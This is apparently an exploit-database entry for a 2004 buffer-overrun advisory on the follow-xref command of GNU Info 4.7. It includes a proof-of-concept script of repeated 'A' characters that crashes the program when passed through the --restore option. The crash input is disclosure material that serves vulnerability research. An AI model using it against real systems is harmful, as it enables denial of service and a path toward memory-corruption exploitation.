GNU Info 4.7 - Follow XRef Buffer Overrun

2004-08-06T00:00:00
ID EXPLOITPACK:DAD14B9BEF1E278AA89A930984392029
Type exploitpack
Reporter Josh Martin
Modified 2004-08-06T00:00:00

Description

GNU Info 4.7 - Follow XRef Buffer Overrun

                                        
                                            source: https://www.securityfocus.com/bid/10882/info

GNU Info is reported prone to a buffer overrun vulnerability. The vulnerability is reported to present itself due to a lack of boundary checks performed on argument data for the (f) follow xref Info command.

An attacker may exploit this vulnerability by crafting a malicious Info script that is sufficient to trigger the issue.

Although this vulnerability is reported to affect info version 4.7-2.1, other versions might also be affected.

The following can be saved to a file and called as:
info info --restore=info.bug to create a segmentation fault.

[START info.bug]
gExpert Info

fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[END info.bug]